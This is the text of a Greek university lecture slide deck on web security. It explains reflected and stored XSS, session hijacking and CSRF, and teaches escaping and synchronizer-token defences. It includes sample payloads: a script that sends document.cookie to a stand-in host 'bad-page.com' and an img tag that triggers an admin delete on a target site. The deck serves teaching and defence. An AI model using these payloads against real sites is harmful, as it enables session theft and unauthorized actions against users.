XSS και CSRF - Black d@ck

Ασφάλεια Διαδικτυακών Εφαρμογών
XSS και CSRF
Γιώργος Χατζησωφρονίου
12/11/2012
Πανεπιστήμιο Πειραιώς
Τμήμα Πληροφορικής
Στόχοι παρουσίασης
●
●
Εξερεύνηση βασικών προβλημάτων ασφαλείας
Παρουσίαση γνωστών τεχνικών επίθεσης web
εφαρμογών.
●
●
●
●
●
●
Reflected XSS
Stored XSS
Session Hijacking
CSRF
Όλα μέσα από παραδείγματα
Παρουσίαση και κατανόηση των βασικών πρακτικών
ασφαλείας κωδικών.
●
●
Φιλτράρισμα εσοχών κειμένου
Συγχρονιστής των token
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
XSS
●
Ένας απλός PHP κώδικας:
<p><?php
echo “Welcome, “ . $_POST[ “username” ] . “!”;
?></p>
Αν έχω username 'sophron', παράγεται ο ακόλουθος HTML
κώδικας:
●
<p>Welcome, sophron!</p>
●
Τί θα γίνει αν έχω username '<script>alert('XSS');</script>';
<p>Welcome, <script>alert('XSS');</script></p>
Το script αποτελεί μέρος της σελίδας και θα εκτελεστεί κανονικά!
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
XSS
●
Cross Site Scripting
●
Ουσιαστικά, πρόκειται για client-side injection
●
●
Εισάγουμε κακόβουλο κώδικα (payload) μέσα στον κώδικα της
ιστοσελίδας.
Ο κώδικας είναι HTML / JS ώστε να αποτελέσει μέρος της σελίδας που
παράγεται.
O κώδικας εισάγεται σε είσοδο χρήστη (inputs) ή στα
URLS.
●
●
Δύο βασικές κατηγορίες: Reflected και Stored.
2
Διαδικτυακή εφαρμογή
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
1
Reflected XSS
●
Τα ίδια τα θύματα στέλνουν τον κακόβουλο κώδικα.
●
●
Ο κώδικας αξιοποιεί τις GET μεταβλητές.
Αρκεί να πειστούν τα θύματα να πιέσουν σε ένα
σύνδεσμο που έχει ενσωματωμένο τον κακόβουλο
κώδικα.
Οι υπηρεσίες σμίκρυνσης URL το κάνουν πιο εύκολο (κρύβουν τον
κακόβουλο κώδικα).
● Για παράδειγμα, το
http://good-site.com?name=”<script>alert('Owned')</script>” μετατρέπεται
σε http://goo.gl/bDtCj
●
●
(Παράδειγμα)
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
Stored XSS
●
Ο κακόβουλος κώδικας αποθηκεύεται στη βάση
δεδομένων και φορτώνεται αυτόματα.
●
●
●
Εισάγεται σε HTML φόρμες αξιοποιώντας τις POST μεταβλητές.
Εκτελείται σε όλους τους χρήστες.
(Παράδειγμα)
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
Session Hijacking
Το να αλλοιώσουμε την εμφάνιση του site (defacement)
είναι το λιγότερο.
●
Μπορούμε να κλέψουμε το session ID (cookie) από το site
που ήρθε ο χρήστης.
●
●
●
●
cookie == ταυτοποίηση
Έχοντας το cookie έχουμε πρόσβαση στο λογαριασμό του χρήστη.
Θα χρησιμοποιήσουμε την document.cookie της Javascript.
●
Εμφανίζει τα cookies της σελίδας που τρέχει.
Session ID = ACF3D35F216AAEFC
Διαδικτυακή εφαρμογή
n
Sessio
ID
C
AAEF
6
1
2
F
3D35
= ACF
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
Session Hijacking
●
Το σχέδιο
●
●
●
●
Ο επιτιθέμενος επιτυγχάνει XSS στη σελίδα trusted-website.com.
Ο χρήστης εισέρχεται στη σελίδα trusted-website.com και αυθεντικοποιείται.
Εκτελείται ο κακόβουλος κώδικας που στέλνει τα cookies του χρήστη σε
μία κακόβουλη σελίδα bad-page.com
Ο κακόβουλος κώδικας
<script type=“text/javascript”>
var img = document.createElement( “img” );
img.src = “http://bad-page.com/steal.php?cookie=” + document.cookie;
document.appendChild( img );
</script>
Όπου το steal.php στο bad-page.com του επιτιθέμενου αποθηκεύει τα cookies
σε ένα αρχείο.
2
trusted-website.com
2
bad-page.com
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
1
Αποφυγή XSS
●
●
Θέλουμε να αποτρέψουμε τον κώδικα στις εσοχές
κειμένου (inputs).
Φιλτράρουμε τις εσοχές.
●
●
Κάνουμε escape τους χαρακτήρες που παραπέμπουν σε κώδικα με
entities.
Για παράδειγμα, '<', θα γίνει &lt;
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
Αποφυγή XSS
<script>alert('XSS');</script>
&lt;script&gt;alert('XSS');&lt;/script&gt;
<p>Welcome, &lt;script&gt;alert('XSS');&lt;/script&gt;</p>
<p>Welcome, <script>alert('XSS');</script></p>
Εμφανίζεται αλλά δεν εκτελείται.
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
Αποφυγή XSS
Τα frameworks φροντίζουν από μόνα τους για το
φιλτράρισμα των inputs (automatic escaping).
●
●
Αυτή η λειτουργία δεν πρέπει να απενεργοποιηθεί
Οι γλώσσες διαδικτυακού προγραμματισμού έχουν έτοιμες
συναρτήσεις γι' αυτή τη δουλειά.
●
●
Για παράδειγμα, η PHP έχει την htmlspecialchars:
<p><?php
echo “Welcome, “ . htmlspecialchars($_POST[ “username” ]) . “!”;
?></p>
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
Πλέον φιλτράρω τις εσοχές κειμένου στα input μου
και απογεύγω τυχόν XSS επιθέσεις. :)
Καλή δουλειά! Για ρίξε μια ματιά σε αυτή την
αστεία εικόνα: http://unknown-site.com/Evj83
Χαχαχαχαχαχαχαχα. Πολύ αστεία πραγματικά!
Ωχ! Για κάποιο λόγο διαγράφτηκαν όλοι οι
χρήστες της εφαρμογής μου!
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
CSRF
●
Cross Site Request Forgery
●
Επιτυγχάνεται η εκτέλεση μη-εξουσιοδοτημένων εντολών.
●
Πείθουμε το χρήστη να επισκεφτεί μία δικιά μας κακόβουλη
σελίδα η οποία με τη σειρά της αποκτά πρόσβαση (μέσω
του χρήστη) σε μία σελίδα που ο χρήστης έχει ήδη
αυθεντικοποιηθεί.
3
Κακόβουλη σελίδα
Έμπιστη σελίδα
1
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
2
CSRF
●
Η μέθοδος αποτελείται από δύο βήματα:
1) Βρίσκουμε ποια εντολή θέλουμε να εκτελεστεί στην έμπιστη
σελίδα.
●
●
Βλέπουμε ποιος header εκτελεί αυτή την εντολή.
Το Live HTTP Headers είναι ένα πολύ χρήσιμο εργαλείο γι' αυτή τη δουλειά.
2) Πείθουμε το χρήστη (social engineering) να μπει σε μία
δικιά μας σελίδα η οποία και θα εκτελέσει την εντολή που
φτιάξαμε στο πρώτο βήμα.
●
Απαραίτητο φυσικά είναι ο χρήστης να έχει αυθεντικοποιηθεί στην έμπιστη σελίδα
πρώτα.
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
CSRF
●
Δείγμα CSRF κώδικα:
<html>
<img src="http://www.pnl.gov/breakthroughs/images/cyber_security.jpg" />
<img src="http://www.cbc.ca/news/background/computer-security/gfx/titlephoto.jpg" />
<img src="http://www.ieee-security.org/Cipher/IMAGES/HORSE-nosky-red-trans2.gif" />
<img src="http://www.freedomsecurity.us/Security%20Badge.jpg" />
<img src="http://www.target.com/index.php?page=admin&act=members&func=del&id=1/>
</html>
Το 5ο image εκτελεί τη μη-εξουσιοδοτημένη εντολή. Αν
εκτελέσει τον παραπάνω κώδικα o administrator του
www.target.com αφού έχει αυθεντικοποιηθεί, θα διαγράψει
την πρώτη εγγραφή της εφαρμογής του.
●
●
(Παράδειγμα)
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
Συγχρονιστής των token
●
Η πιο συνηθισμένη άμυνα για CSRF.
●
Η μέθοδος σε τρία βήματα:
1) Όταν ο χρήστης συνδέεται στο σύστημα, προσθέτουμε ένα
τυχαίο αλφαριθμητικό (token) στο session του.
2) Για κάθε request, το token τοποθετείτε στη φόρμα που
θέλουμε να προστατέψουμε όταν αυτή αποστέλλεται.
3) Ο συγχρονιστής, συγκρίνει το token που στάλθηκε με το
token που είναι στο session του χρήστη. Αν τα tokens
δεν είναι ίδια, η διεργασία της φόρμας ακυρώνεται.
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
Συγχρονιστής των token
●
Ο επιτιθέμενος θα χρειαστεί και το token για να πετύχει
η επίθεσή του.
πιστοποιείται
Server
$_SESSION['token'] = 4fe420822903f560cd81d
Server
$_SESSION['token'] == $_POST['token']
κατοχυρώνει μία φόρμα
O server φροντίζει στη φόρμα να σταλθεί
και το μοναδικό token του χρήστη.
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
Συγχρονιστής των token
●
●
Τα περισσότερα frameworks υλοποιούν ένα
συγχρονιστή των tokens από μόνοι τους.
Σε άλλες περιπτώσεις υπάρχουν διάφορες open
source λύσεις που πρέπει να ενσωματωθούν.
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
Τώρα νοιώθω αρκετά πιο ασφαλής! :)
Ερωτήσεις;
Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών